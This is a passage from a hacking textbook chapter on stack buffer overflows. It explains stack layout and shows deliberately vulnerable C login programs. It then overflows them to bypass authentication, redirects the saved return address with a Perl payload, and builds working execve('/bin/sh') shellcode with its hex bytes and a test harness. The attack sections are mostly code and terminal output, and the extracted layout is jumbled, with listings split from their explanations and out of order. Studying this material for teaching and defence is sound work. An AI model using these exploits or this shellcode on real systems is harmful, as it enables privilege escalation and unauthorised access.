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Chapter 6 
 
 

Buffer overflow attacks 
 
 
 
 
There are many ways of cracking computers. Beginning hackers usually start 
out by playing with different kinds of Trojan horses or ready-made scripts. 
Very few of them stop to think how they really work. Another very common 
hacking method is sniffing, which allows passwords sent on the network to be 
intercepted. Each day, these methods become more and more effective. Well-
configured firewalls protect against Trojan horses, and sniffing becomes more 
and more difficult because switches or encrypted protocols have been 
applied. Nothing, however, can fully protect against human error. The 
programmers writing software often unintentionally (or intentionally) leave 
small mistakes in the code, which when exploited, allow hackers to crack 
effectively. One of these mistakes is the buffer overflow. We will explain what 
this is in this chapter. 
 
Memory 
 
Each program we launch has a certain defined amount of memory set aside 
for its use. Programs can allocate areas in memory to themselves dynamically, 
as they need it. This memory is necessary for storing data connected to the 
execution of the program. Such data can include, for example, sequences 
entered by the user as command-line arguments. The memory allocated to 
the processor is divided into segments, the purpose of which is largely to 
organize the data in memory. Different types of data are located in different 
segments. Here is a short description of each segment: 
 

-  “Text” segment, also called code segment. Here program instructions  
can be found, written in machine language. From this location the 
processor starts the execution of the program. This segment can be 
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read but it is not possible to write anything to it. After the program is 
read into memory its size does not change. 

 
- “Data” segment. In this segment, initiated global program variables, 

character sequences, and other constants used by the program are 
located. 
 

- “bss” segment. This is very similar to the “data” segment. It contains 
non-initiated global variables and static variables. 
 

- “Heap” segment. As its size is variable, it is used by dynamic variables. 
The memory belonging to this segment is managed by advanced 
algorithms that allocate or discharge the memory appropriately. They 
allow us to increase memory performance and protect against 
fragmentation. 
 

- “Stack” segment. This is also characterized by a variable size. It is, 
however, used only by local variables of the called functions. Each 
argument transferred to the program function is also placed on the 
stack. 

 
The buffer overflow attack affects the stack. We will therefore now take a 
closer look at this segment. 
 
The stack 
 
As we have already mentioned, the stack is one of the memory segments used 
by programs. Its “bottom” has always a constant address in memory (in the 
Linux system it is 0xbffffffa). The addresses tell programs where in the 
memory a given value is located. Usually they are presented as hexadecimal 
values. Each variable used in the program has its own address in memory. 
The processor does not recognize the names of the variables. However, 
because of their addresses it is able to refer to them. A stack can be compared 
to a stack of plates; the plates can be added to the stack at the top only. 
Therefore the first object we place on the stack will be the last removed from 
it. The processor uses two instructions for the operation of the stack: PUSH – 
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which puts data on the stack, and POP – which removes data from the stack. 
To store the address of the top of the stack the processor uses the ESP 
(Extended Stack Pointer) register. This register is part of the memory 
belonging directly to the processor. It is not too big, and is therefore used 
exclusively to store small amounts of data, such as addresses in memory. To 
more easily visualize the function of the stack we will now take a look at the 
following program (/CD/Chapter6/Listings/program0.c). 
 

 
The only activity performed by the above program is to display on the screen 
the command-line arguments entered by the user. It is interesting to see what 
the stack looks like as it performs the printf() function. At the beginning the 
main() function is called. This causes the placement on the stack, in sequence: 
command-line arguments, followed by copies of the EIP and EBP registers 
(which we will describe later). Then, in order to call the func() function, the 
program has to place on the stack its argument “int a” and make copies of the 
current values of the EIP and EBP registers. The func() function alone does 
not place any data on the stack.  
 
While printing the number on the screen the stack looks like this: 
 

EIP and EBP copy for main() 

int a 

EIP and EBP copy for terminating the program 

int argc and char *argv[ ] 

#include <stdio.h> 
 
int func(int a) 
{ 
        printf("%d\n", a); 
        return 0; 
} 
 
int main(int argc, char *argv[]) 
{ 
        func(argc); 
        return 0; 
} 
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Upon termination of the func() function, “int a” is collected from the stack, 
and the rest of the data are collected when main() is terminated. The EIP 
register indicates the current location of program execution. When the 
program jumps to the func() function, its value changes. After a while the 
application returns to the main() function. Therefore the value of the EIP 
register must be stored in such a way that after termination of the called 
function the program can continue execution from the location in which it 
terminated. 
 
Thanks to the EBP register the program is able to refer to local variables of 
the function. For this reason, it also has to be preserved. An understanding of 
the stack function is very important. Without this knowledge it will be 
difficult to master the advanced technique that is the buffer overflow attack. 
Therefore if you feel unsure about this subject, it is worth rereading this 
section several times or to find other sources of information on the topic. 
 
What is a buffer? 
 
Overfilling a buffer, as the name suggests, is a technique consisting of placing 
more data in the buffer than will fit in it. But first, what is a buffer? A buffer is 
any area of the memory. We can just as easily substitute the term “memory 
area of 10 bytes” for the term “buffer of 10 bytes.” Let’s assume that we have 
copied 20 bytes of data to an area of memory of 10 bytes. The area will be 
filled in till the end and the 10 bytes of data that do not fit will “spill” from it. 
In fact, they will be placed in another area of the memory located next to the 
target area.  
 
We should look at the example below (/CD/Chapter6/Listings/program.c): 
 
#include <stdio.h> 
 
int main(int argc, char *argv[]) 
{ 
        int a = 0; 
        char buffer[10]; 
        printf ("Before coping data to the buffer: a=0x%x\n", a); 
        strcpy(buffer, argv[1]); 
        printf ("After coping to the buffer: a=0x%x\n", a); 
        return 0; 
} 
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The program assumes as parameter a sequence of characters that it then 
copies (using the strcpy() function) into the char buffer[10] buffer. Before 
and after copying, it prints a hexadecimal value of the int a variable on the 
screen, which at the beginning is equal to 0. The memory area to which we 
copy the data should in theory have the size 10 * sizeof(char), which is exactly 
as much as we entered in the source code. In practice, however, this depends 
strictly on the computer we use. First, let's see how our program works. 
 

 
As a parameter we transferred the single letter “A,” the size of which is equal 
to one byte. It will therefore fit into our buffer without any problem. Now we 
will try to transfer a sequence that is too long to fit into our buffer. 
 

 
As we can see the “int a” variable obtained a different value, despite the fact 
that nowhere in the program did we write anything to it. The character “A” is 
the ASCII code with the hexadecimal value 0x41, hence the value of our 
variable is 0x41414141. The memory area to which we copied the data was 
placed on the stack immediately after the “int a” variable. When we 
transferred the long character sequence, the buffer could not fit all the data 
and the sequence overwrote what was located below it.  
 
But why, just to overwrite the “int a” variable, was a sequence of as many as 
32 characters needed? As we said previously, the amount of allocated memory 
depends on the compiler and the system. The best way to see how much 
space the “char bufor[10]” is taking up in our system is to use the gdb 
program. It is included as standard in every common distribution of the 
Linux system. It is used to debug programs; that is, to intercept errors. It 
possesses some useful options, such as stopping a program at a specific 
moment, the ability to write to the program memory, and even code 

bash-2.05b$ gcc -o program program.c 
bash-2.05b$ ./program A 
Before copying data to the buffer: a=0x0 
After copying to the buffer: a=0x0 

bash-2.05b$ ./program AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Before copying data to the buffer: a=0x0 
After copying to the buffer: a=0x41414141 
Segmentation fault (core dumped) 
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disassembly. Disassembling is a process that allows us to discover the source 
code in an assembler form of a program that has already been compiled. We 
will carry out our test on the simple program below. The only thing the 
program does is, it allocates the buffer on the stack. It is therefore the easiest 
way to demonstrate the gdb application 
(/CD/Chapter6/Listings/program2.c).  
 

 
We will now compile the above program, giving it the name program2, and 
enable gdb: 
 

 
The command disass main that we gave to gdb is used to disassemble the 
code of the main() function of our program. The allocation of the memory 
area on the stack consists of subtracting the buffer size from ESP. The 
subtraction in the assembler language is performed with the “sub” 
instruction.  
 

#include <stdio.h> 
 
int main() 
{ 
        char buffer[10]; 
        return 0; 
} 

bash-2.05b$ gcc -o program2 program2.c 
bash-2.05b$ gdb program2 
... 
(gdb) disass main 
Dump of assembler code for function main: 
0x08048374 <main+0>:     push    %ebp 
0x08048375 <main+1>:     mov     %esp,%ebp 
0x08048377 <main+3>:     sub     $0x18,%esp 
0x0804837a <main+6>:     and     $0xfffffff0,%esp 
0x0804837d <main+9>:     mov     $0x0,%eax 
0x08048382 <main+14>:    sub     %eax,%esp 
0x08048384 <main+16>:    mov     $0x0,%eax 
0x08048389 <main+21>:    leave 
0x0804838a <main+22>:    ret 
0x0804838b <main+23>:    nop 
0x0804838c <main+24>:    nop 
0x0804838d <main+25>:    nop 
0x0804838e <main+26>:    nop 
0x0804838f <main+27>:    nop 
End of assembler dump. 
(gdb) quit 
bash-2.05b$ 
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As we can see it is located in line 3 of our code: 
 

 
It subtracts 0x18 (24 in the hexadecimal system) from the ESP register. As we 
have mentioned, the ESP register includes the address of the stack top. The 
instruction therefore increases the stack size by 24 bytes. In our program we 
did not allocate memory to the stack in any other location. We can assume 
that 24 bytes were transferred to our “char buffer[10].” We should explain 
how we subtracted the number 24 from the stack and did not add it. In x86 
processors the stack grows towards lower addresses. The elements placed 
earlier on the stack are therefore located beneath higher addresses in 
memory. Now, instead of char buffer[10], we place the “int a” variable in the 
program (/CD/Chapter6/Listings/program3.c). 
 

 

 
 

0x08048377 <main+3>:    sub    $0x18,%esp 

#include <stdio.h> 
 
int main() 
{ 
        int a; 
        return 0; 
} 

bash-2.05b$ gcc -o program2 program2.c 
bash-2.05b$ gdb program2 
... 
(gdb) disass main 
Dump of assembler code for function main: 
0x08048374 <main+0>:     push    %ebp 
0x08048375 <main+1>:     mov     %esp,%ebp 
0x08048377 <main+3>:     sub     $0x8,%esp 
0x0804837a <main+6>:     and     $0xfffffff0,%esp 
0x0804837d <main+9>:     mov     $0x0,%eax 
0x08048382 <main+14>:    sub     %eax,%esp 
0x08048384 <main+16>:    mov     $0x0,%eax 
0x08048389 <main+21>:    leave 
0x0804838a <main+22>:    ret 
0x0804838b <main+23>:    nop 
0x0804838c <main+24>:    nop 
0x0804838d <main+25>:    nop 
0x0804838e <main+26>:    nop 
0x0804838f <main+27>:    nop 
End of assembler dump. 
(gdb) 
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Again, what is interesting for us is the line containing the subtraction 
instruction, that is, “sub”: 
 

 
This time the program assigns 8 bytes to the variable “int a.” We should now 
explain why all of 32 bytes were necessary to overwrite “int a.” The compiler 
allocated 24 bytes for our target buffer, and 8 bytes for “int a.” The simple 
mathematical calculation of adding 24+8=32 gives us the number of bytes 
necessary to fill up the memory area assigned for buffer[10] and “a.” Now 
that we know how we can overwrite a specific memory area, we will now stop 
to think which benefits it can bring us. 
 
Attention.  
As we already have mentioned, the number of bytes allocated depends on the 
hardware architecture and compiler settings. While conducting the 
experiment we are using gcc compiler. Depending on the version you use, the 
value of allocated blocks may be different (for these differences is responsible, 
inter alia, the -mpreferred-stack-boundary parameter). 
 
A simple example of the use of a buffer overflow 
 
Buffer overflow is a technique allowing us, in many cases, to obtain full access 
to the system. In order to make this happen we have to find a program that 
works under administrator privileges and contains an error of this kind. In 
our first example program.c we used the strcpy() function, which does not 
check the size of the copied buffer. In a real program we should instead use 
strncpy(), which as the third parameter assumes the maximum size of data to 
copy. An example of a program that can help us to increase our privileges is 
the program for logging into the system that was created for this purpose.  
 
Let’s have a look at an example of such a program below 
(/CD/Chapter6/Listings/login.c): 
 

 

0x08048377 <main+3>:    sub    $0x8,%esp 

#include <stdio.h> 
#include <stdlib.h> 
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#define LOGIN "secret_login" 
#define PASSWORD "secret_password" 
 
int main() 
{ 
        int ok = 0; 
        char login[16]; 
        char password[16]; 
         
        printf("Enter login: "); 
        scanf("%s", login); 
        printf("Enter password: "); 
        scanf("%s", password); 
         
        if(!strcmp(login, LOGIN) &&!strcmp(password, PASSWORD)) 
                ok = 1; 
                 
        if(ok) 
        { 
                printf("You have logged in successfully!!\n"); 
                execl("/bin/sh", "sh", NULL); 
        } 
        else 
                printf("Wrong login or password!!\n"); 
                 
        return 0; 
} 

 
After switching on the program, memory for three buffers is allocated: “int 
ok.”; “char login[16]”; and “char password[16].” The variable “ok” states 
whether the user has been successfully logged in or not. If its value is equal to 
0 an incorrect login and password have been entered. If it is different from 0 
the user has been successfully logged in and the sh system shell is being 
started. To read the data we use the scanf() function, which in our case does 
not check the size of the buffer to copy but only copies as much data as the 
user enters. We will now try to log in correctly, assuming that we don’t know 
the correct password and login. 
 

 

bash-2.05b$ gcc -o login login.c 
bash-2.05b$ ./login 
Enter login: login 
Enter password: password 
Wrong login or password!! 
bash-2.05b$ ./login 
Enter login: 123456789012345678901234567890 
Enter password: d 
You have logged in successfully!! 
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As a login we transferred a sequence of 32 bytes in length. It was enough to 
overwrite the “int ok” variable with a value of one of the characters in the 
sequence, which allowed us to log in correctly without knowing the real 
password and login. This example illustrates perfectly the use of the buffer 
overflow error. It consists in overwriting areas in memory to gain the ability 
to control program functioning. In our example, to avoid danger we should 
apply the scanf() function in the following form: 
 

 
The function orders a maximum of 16 characters to be read; that is, as many 
as our buffer can accommodate. But what happens if our program does not 
use the “int ok” variable at all? In such a situation, we will have to find 
another memory area whose overwriting is of benefit to us. 
 
Advanced example of buffer overflow 
 
In the previous point we were concerned with a simple example that by itself 
suggested a way to take advantage of this error; the “int ok” variable was not 
actually necessary for anything. The program could have been written as the 
following example (/CD/Chapter6/Listings/login2.c): 
 
1| #include <stdio.h> 
2| #include <stdlib.h> 
3| 
4| #define LOGIN “secret_login” 
5| #define PASSWORD “secret_password” 
6| 
7| int sprawdz_logowanie(char *l, char *p) 
8| { 
9|  char login[16]; 
10|  char pass[16]; 
11| 
12|  strcpy(login, l); 
13|  strcpy(pass, p); 
14|  if(strcmp(login, LOGIN)==0 && strcmp(pass, PASSWORD)==0) 
15|     return 0; 
16|  else return 1; 
17| } 
18| 
19| int main(int argc, char *argv[]) 
20| { 

printf("Enter login: "); 
scanf("%16s", login); 
printf("Enter password: "); 
scanf("%16s", password); 
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21|  if(argc < 3) 
22| { 
23|  printf(„Use:\n%s login password\n”, argv[0]); 
24|  exit(0); 
25| } 
26| 
27| if (check_login(argv[1], argv[2]) == 0) 
28| { 
29|  printf(“You have logged in successfully!!\n”); 
30|  execl(“/bin/sh”, “sh”, NULL); 
31| } 
32| else printf(“Wrong login or passowrd!!\n”); 
33| return 0; 
34| } 

 
This program, however, is subject to the mistake in the strcpy() function. It 
receives the information about the login and the password from the user via 
the row of the command line: 
 

 
However, we don’t have a variable here that could determine whether the 
user is logged in or not. Thus, in theory we don’t have any area where 
overwriting gives us any advantage.  
 
We will now try to enter a long sequence of characters as a login: 
 

 
The program did not log in but at the end of the execution it displayed 
“Violation of memory protection” onscreen. We will check with the help of 
gdb to see what really happened: 
 

 

bash-2.05b$ gcc -o login2 login2.c 
bash-2.05b$ ./login2 secret_login secret_password 
You have logged in successfully!! 
sh-2.05b$ exit 
exit 
bash-2.05b$ 

bash-2.05b$ ./login2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA wrong_password 
Wrong login or password!! 
Violation of memory protection 
bash-2.05b$ 

bash-2.05b$ gdb login2 
... 
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA wrong_password 
Starting program: /home/users/dave/login AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA wrong_password 
Wrong login or password!! 
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Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in?? () 
(gdb) quit 
The program is running.  Exit anyway? (y or n) y 
bash-2.05b$ 

 
As we can see, after quitting the main() function, the program wants to start 
executing from the address 0x41414141. At the beginning of this chapter we 
learned that each function possesses a copy of the register EIP and EBP of the 
previous function. The main() function also possesses such a copy, although 
it is the first function called to be written by the programmer. After 
terminating, the value of the EIP register is set to the one that was put on the 
stack when we entered main(). We can thus order the program to execute 
itself from a chosen location, because we have full control over the content of 
the EIP register after termination of the function operation. We will try, 
therefore, to jump to the address where the printf() function is located 
displaying the information “You have logged in successfully!!” To discover 
this address we must use gdb. 
 
bash-2.05b$ gdb login2 
... 
(gdb) disas main 
Dump of assembler code for function main: 
0x080484f0 <main+0>:  lea  0x4(%esp),%ecx 
0x080484f4 <main+4>:  and  $0xfffffff0,%esp 
0x080484f7 <main+7>:  pushl  0xfffffffc(%ecx) 
0x080484fa <main+10>:  push  %ebp 
0x080484fb <main+11>:  mov  %esp,%ebp 
0x080484fd <main+13>:  push  %ecx 
0x080484fe <main+14>:  sub  $0x14,%esp 
0x08048501 <main+17>:  mov  %ecx,0xfffffff8(%ebp) 
0x08048504 <main+20>:  mov  0xfffffff8(%ebp),%eax 
0x08048507 <main+23>:  cmpl  $0x2,(%eax) 
0x0804850a <main+26>:  jg  0x8048530 <main+64> 
0x0804850c <main+28>:  mov  0xfffffff8(%ebp),%edx 
0x0804850f <main+31>: mov  0x4(%edx),%eax 
0x08048512 <main+34>:  mov  (%eax),%eax 
0x08048514 <main+36>:  mov  %eax,0x4(%esp) 
0x08048518 <main+40>:  movl  $0x8048680,(%esp) 
0x0804851f <main+47>:  call  0x8048360 
0x08048524 <main+52>:  movl  $0x0,(%esp) 
0x0804852b <main+59>:  call  0x8048370 
0x08048530 <main+64>:  mov  0xfffffff8(%ebp),%ecx 
0x08048533 <main+67>:  mov  0x4(%ecx),%eax 
0x08048536 <main+70>:  add  $0x8,%eax 
0x08048539 <main+73>:  mov  (%eax),%edx 
0x0804853b <main+75>:  mov  0xfffffff8(%ebp),%ecx 
0x0804853e <main+78>:  mov  0x4(%ecx),%eax 
0x08048541 <main+81>:  add  $0x4,%eax 
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0x08048544 <main+84>:  mov  (%eax),%eax 
0x08048546 <main+86>:  mov  %edx,0x4(%esp) 
0x0804854a <main+90>:  mov  %eax,(%esp) 
0x0804854d <main+93>:  call  0x8048444 <check_login> 
0x08048552 <main+98>:  test  %eax,%eax 
0x08048554 <main+100>:  jne  0x8048580 <main+144> 
0x08048556 <main+102>:  movl  $0x8048698,(%esp) 
0x0804855d <main+109>:  call  0x8048340 
0x08048562 <main+114>:  movl  $0x0,0x8(%esp) 
0x0804856a <main+122>:  movl  $0x80486b8,0x4(%esp) 
0x08048572 <main+130>:  movl  $0x80486bb,(%esp) 
0x08048579 <main+137>:  call  0x8048330 
0x0804857e <main+142>:  jmp  0x804858c <main+156> 
0x08048580 <main+144>:  movl  $0x80486c3,(%esp) 
0x08048587 <main+151>:  call  0x8048340 
0x0804858c <main+156>:  mov  $0x0,%eax 
0x08048591 <main+161>:  add  $0x14,%esp 
0x08048594 <main+164>:  pop  %ecx 
0x08048595 <main+165>:  pop  %ebp 
0x08048596 <main+166>:  lea  0xfffffffc(%ecx),%esp 
0x08048599 <main+169>:  ret 
0x0804859a <main+170>:  nop 
0x0804859b <main+171>:  nop 
0x0804859c <main+172>:  nop 
0x0804859d <main+173>:  nop 
0x0804859e <main+174>:  nop 
0x0804859f <main+175>:  nop 
End of assembler dump. 
(gdb) quit 

 
However, to read the address where our target function is located from this 
listing, knowledge of the assembler will be required. The description has been 
shortened to include only essential information. 
 
The following line is responsible for the conditional instruction “if” used in 
our program, which checks if the login and the password are correct: 
 

 
As we can see it can be found twice, for login and for password. If the 
password is wrong, the program jumps to the address 0x8048580, which is 
stated in the line: 
 

 

0x08048552 <main+98>: test %eax,%eax 

0x08048554 <main+100>: jne 0x8048580 <main+144> 
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But if the login and the password are correct, the program performs the code 
below: 
 

0x0804856a <main+122>:  movl  $0x80486b8,0x4(%esp) 
0x08048572 <main+130>:  movl  $0x80486bb,(%esp) 
0x08048579 <main+137>:  call  0x8048330 

 
These are exactly the functions printf() and execl(). After termination of the 
program we have to jump to the address 0x08048556 and these functions 
should be executed. However, we should stop and think how to provide the 
program with the sequence of characters that is our address. For this task the 
best suitable language is Perl. The address 0x08048556 can be written as a 
character sequence, “\x56\x85\x04\x08.” We simply add each byte as a char in 
reverse order. Then, using Perl, we print it several times (here, eight) so it 
overwrites the copy of the EIP register: 
 

As we can see, everything has gone as planned! The program informed us at 
the beginning that we gave a wrong login or password and terminated the 
execution of the main() function. In that moment, instead of terminating the 
task the program jumped to a location available only to a logged-in user. We 
can be proud of ourselves because we have just written a fully operational 
exploit; that is, a program that takes advantage of a mistake in software. 
 
Use of shellcodes 
 
Our last example included data enabling us to start up a shell. But what would 
happen if the program did not have this type of function in its code? Let’s 
analyze the following, seemingly dull example 
(/CD/Chapter6/Listings/bo.c): 
 

0x08048556 <main+102>:  movl  $0x8048698,(%esp) 
0x0804855d <main+109>:  call  0x8048340 
0x08048562 <main+114>:  movl  $0x0,0x8(%esp) 

bash-2.05b$ ./login2 "`perl -e 'print "\x56\x85\x04\x08"x8'`" wrong_password 
Wrong login or password!! 
You have logged in successfully!! 
sh-2.05b$ exit 
exit 
bash-2.05b$ 

1| #include <stdio.h> 
2| #include <stdlib.h> 
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What does this program do? All it does is, it copies data from the first 
argument into the “char buff[16]” buffer and prints its contents. At first 
glance we can already see that this is performed without any security 
measures. The program copies as much data as the user transfers, which can 
cause the buffer to overfill. 
 
We will now save the program as bo.c and see how it works: 
 

 
We can probably guess what has just happened. After transferring the long 
argument, the string of “A” characters overwrote the EIP copy. After 
termination of the main() function the program wanted to resume execution 
from the address 0x41414141. Under this address were located the data 
inaccessible to the program, therefore it reported the error “Violation of 
memory protection.” The program in our example does not contain the 
execl() function, which we could use to start up the shell. We should, 
however, remember that each function is read into the memory at the 
beginning, and then it is performed. We could, therefore, transfer the execl() 
function to the program as an argument in binary code, and then overwrite 
the EIP copy with an address indicating the memory area in which the 
function buffer we transferred is located. Such a binary code of a function is 

3| 
4| int funct(char *buffer) 
5| { 
6|  char buff[16]; 
7|  strcpy(buff, buffer); 
8|  puts(buff); 
9|  return 1; 
10| } 
11| 
12| int main(int argc, char *argv[]) 
13| { 
14|  funct(argv[1]); 
15|  return 0; 
16| } 

bash-2.05b$ ./bo 1234567890 
1234567890 
bash-2.05b$ ./bo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Violation of memory protection 
bash-2.05b$ 
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called “shellcode.” Basic knowledge of assembly language will be necessary to 
create it. 
 
We will now try to write an assembler function to start up the shell. Systems 
of the Unix family possess what are known as system calls, that is, functions 
made accessible to the user by the kernel. In other operating systems the 
creation of the shellcode is no longer such an easy matter. One of these 
system functions is execve(). It is used by all the functions in the exec() family 
in the C language. Here is the prototype of this function: 
 

 
The first assumed parameter is the address for the file name, then the 
arguments of the command line and the environment. The first two are 
required, whereas the third can be omitted. We will now see how calling this 
function would look in C (/CD/Chapter6/Listings/shell.c): 
 

 
bash-2.05b$ gcc -o shell shell.c 
bash-2.05b$ ./shell 
sh-2.05b$ exit 
exit 
bash-2.05b$ 

 
However, this program uses the “wrapping up” function located in the libc 
library. Therefore we cannot create a shellcode from it. We have to convert 
the above function into an assembler equivalent. In order to do this we have 
to discover how the kernel system functions (known as syscalls) are called. 
We will now take a closer look at this process using the write function.  
 
 
 

int  execve(const  char  *filename,  char  *const  argv [], char *const envp[]); 

#include <unistd.h> 
 
int main()  
{ 
        char *sh[2]; 
        sh[0] = "/bin/sh"; 
        sh[1] = NULL; 
        execve(sh[0], sh, NULL); 
        return 0; 
} 
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At the beginning we determine its number in the system: 
 

bash-2.05b$ 

 
As we can see the function we are looking for is located under number 4.  
 
The program will have to perform the following operations in order to start 
up this function: 
 

 
The EAX register is used to transfer the number of the system function, and 
the subsequent registers serve to transfer arguments of this function. When 
the program has copied all information to the appropriate registers, it 
performs a so-called “processor interruption” with the number 80h. This is a 
signal for the processor to collect the data from the registers and to perform a 
specific operation. The processor collects the value of the EAX register, in 
which there is the number of the function to perform. Next, once it knows 
which function to perform, it collects the appropriate parameters from the 
subsequent registers. Let’s do now the same to the example of our target 
function, execve(). 
 

 
We have to place number 11 in the EAX register. However, the EAX register 
has a capacity of 32 bits, and we would like to transfer only 8 bits, because 
that is the number necessary to write the number 11 in binary code. We can 
use half of the EAX register for this purpose, specifically, the 16-bit AX 
register. This in turn divides into two 8-bit AH registers (A high) and AL ( A 
low). The above division principle applies to all general registers. Therefore, 
EBX divides into BX, which in turn divides into BH and BL, etc.  

bash-2.05b$ grep __NR_write /usr/include/asm/unistd.h 
#define __NR_write                4 

a) To register EAX copies the number of the write() function, namely 4. 
b) The first parameter is copied to EBX, that is, the file descriptor to which it wants to 
write. 
c) The pointer for the character sequence that has to be printed is copied to EBX. 
d) The number of characters to be printed (the length of our sequence) is copied to EDX. 

bash-2.05b$ grep __NR_execve /usr/include/asm/unistd.h  
#define __NR_execve              11 
bash-2.05b$ 
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This division can be illustrated using the example of the EAX register as 
follows:  
 

 
 
We can therefore place our value 11 without problems into the AL register. It 
will also cause the size of our shellcode to be reduced. Next, we will copy the 
sequence address “/bin/sh” to the EBX register, and the address of the 
argument table to the ECX register. After placing all data into the appropriate 
registers we will call the interruption of the processor, 80h. Below is an 
addition in assembly language for the program written in C, which executes 
all the operations described above. We will use the program to create a fully 
operational shellcode (/CD/Chapter6/Listings/shell2.c). 
 

                "movb   $0xb,%al\n" 
                "int    $0x80" 
        ); 
         
        return 0; 
} 

 
We will now check to be sure that our new program is working properly: 
 

#include <stdio.h> 
 
int main()  
{ 
        __asm__ 
        ( 
                "xorl   %eax,%eax\n" 
                "pushl  %eax\n" 
                "pushl  $0x68732f2f\n" 
                "pushl  $0x6e69622f\n" 
                "movl   %esp,%ebx\n" 
                "pushl  %eax\n" 
                "pushl  %ebx\n" 
                "movl   %esp,%ecx\n" 
                "xorl   %edx,%edx\n" 

bash-2.05b$ gcc -o shell2 shell2.c 
bash-2.05b$ ./shell2 
sh-2.05b$ exit 
exit 
bash-2.05b$ 
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And now let’s take a look at the instructions that it executes in sequence: 
 
1. xorl %eax,%eax – We place NULL in the EAX register (meaning we are 

resetting). 
 

2.  pushl %eax – At this moment there is NULL in the EAX register. We put 
it, therefore, on the stack as the end of the name of the program to start 
up. Each character sequence (in our case “/bin//sh”) must be terminated 
in memory with the NULL symbol. 
 

3.  “pushl $0x68732f2f” and “pushl $0x6e69622f” – We put the sequence 
“/bin//sh” on the stack in inverse order. This is connected to the fact that 
the stack grows in size towards the lower addresses. The additional 
symbol “/” in the middle is necessary to divide the amount of all 
characters put by 4. In this way we eliminate the symbol 0 from the 
shellcode. If we put only “/sh” on the stack, the PUSH instruction would 
itself add a fourth zero byte. Our shellcode cannot, however, possess any 
internal NULL bytes, because we could not transfer it fully as an 
argument for the program. 
 

4.  “movl %esp,%ebx” – Now ESP includes the address of our sequence, 
because it is placed on the top of the stack. Therefore, we transfer this 
address to the EBX register. 
 

5.  “pushl %eax” – The EAX register still includes NULL; we put it on the 
stack to finish the table that will be the next argument. 
 

6.  “pushl %ebx” – The EBX register includes the address of the sequence 
“/bin//sh.” We will put it on the stack as the first element of the table that 
will be the second argument. 
 

7.  “movl %esp,%ecx” – The ESP register includes the address of the table 
created in the second argument. We copy this address into the ECX 
register. 
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8.  “xorl %edx,%edx” – We reset the last argument in case it includes 
another value, as can happen under certain circumstances. 
 

9.  “movb $0xb,%al.” - We place the call number in the AL register. This 
allows us to get rid of NULL symbols from the shellcode. 
 

10.  “int $0x80” – Finally we call the interruption of the processor with the 
number 80h. 

 
Our program works and executes the execve() function by itself without 
using the libc library. Because of this we can use it to create a shellcode. The 
best method for it is to use the “objdump” program: 
 

 
The result of this command will return the assembler code of each program 
function. For us, however, only the main() function is of interest. We can 
search through it for the code we have written. It is located between the 

bash-2.05b$ objdump -d  shell2 
 
shell:     file format elf32-i386 
 
Disassembly of section .init: 
..... 
 08048374 <main>: 
 8048374:       55                        push  %ebp 
 8048375:       89 e5                     mov     %esp,%ebp 
 8048377:       83 ec 08                  sub     $0x8,%esp 
 804837a:       83 e4 f0                  and     $0xfffffff0,%esp 
 804837d:       b8 00 00 00 00            mov     $0x0,%eax 
 8048382:       29 c4                     sub     %eax,%esp 
 8048384:       31 c0                     xor     %eax,%eax 
 8048386:       50                        push    %eax 
 8048387:       68 2f 2f 73 68            push    $0x68732f2f 
 804838c:       68 2f 62 69 6e            push    $0x6e69622f 
 8048391:       89 e3                     mov     %esp,%ebx 
 8048393:       50                        push    %eax 
 8048394:       53                        push    %ebx 
 8048395:       89 e1                     mov     %esp,%ecx 
 8048397:       31 d2                     xor     %edx,%edx 
 8048399:       b0 0b                     mov     $0xb,%al 
 804839b:       cd 80                     int     $0x80 
 804839d:       b8 00 00 00 00            mov     $0x0,%eax 
 80483a2:       c9                        leave 
 80483a3:       c3                        ret 
 80483a4:       90                        nop 
..... 
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addresses 8048384 and 804839b (from the first xor to int). Now we copy the 
binary data of the generated code, that is: 
 

 
Next, we have to change these values into character sequences that can be 
used in the C language. 
 
 It is better to write their assembler equivalents next to the appropriate data 
so that the code will be relatively legible, just as in the following program 
(/CD/Chapter6/Listings/shellcode.c): 
 

 
The program creates a pointer to the void function. Next, it assigns it a 
shellcode address in memory. We intend to do exactly the same in the 
program under attack.  
 
Let’s see if what we created works properly: 
 

 
Now that we have the shellcode we can start the attack on our application. In 
order to carry it out we will have to discover the address to which we have to 
jump; that is, the shellcode address. We can transfer it to the program as a 

31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 31 d2 b0 0b cd 80 

#include <stdio.h> 
char shellcode[] = 
        "\x31\xc0"                /* xorl  %eax,%eax */ 
        "\x50"                    /* pushl %eax         */ 
        "\x68\x2f\x2f\x73\x68"    /* pushl $0x68732f2f  */ 
        "\x68\x2f\x62\x69\x6e"    /* pushl $0x6e69622f  */ 
        "\x89\xe3"                /* movl  %esp,%ebx    */ 
        "\x50"                    /* pushl %eax         */ 
        "\x53"                    /* pushl %ebx         */ 
        "\x89\xe1"                /* movl  %esp,%ecx    */ 
        "\x31\xd2"                /* xorl %edx,%edx    */ 
        "\xb0\x0b"                /* movb $0xb,%al     */ 
        "\xcd\x80";               /* int  $0x80        */ 
int main()  
{ 
        void (*f)() = (void*)shellcode; f(); return 0; 
} 

bash-2.05b$ gcc -o shellcode shellcode.c 
bash-2.05b$ ./shellcode 
sh-2.05b$ exit 
exit 
bash-2.05b$ 
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command-line argument or as an environmental argument. Each program 
operates in an environment.  
 
To display the environment of the shell in which we enter commands, we 
have to start up the “set” program. 
 

 
Here is the result of the operation of this program in brief: It includes data 
useful for the shell, such as the path to the history file, the current working 
directory, and the username. Each newly started program inherits the 
environment from the shell. However, we have the ability to adjust the 
environment as needed by starting the target program from another level. 
These programs are the best location to place our shellcode. By placing it in 
the environment we can exactly determine its address in the program 
memory.  
 
We do this in the following way: 
 

 
The address 0xbffffffa is the beginning of the stack. We substract from it the 
length of the path for our program, that is PATH (in our case “bo”) and the 
length of the shellcode we want to start. To transfer the environment variable 
to the program we use the execle() function.  
 

bash-2.05b$ set 
BASH=/bin/bash 
BASH_VERSINFO=([0]="2" [1]="05b" [2]="0" [3]="2" [4]="release" [5]="i686-pld-linux-gnu") 
EUID=500 
HISTFILE=/home/users/.history 
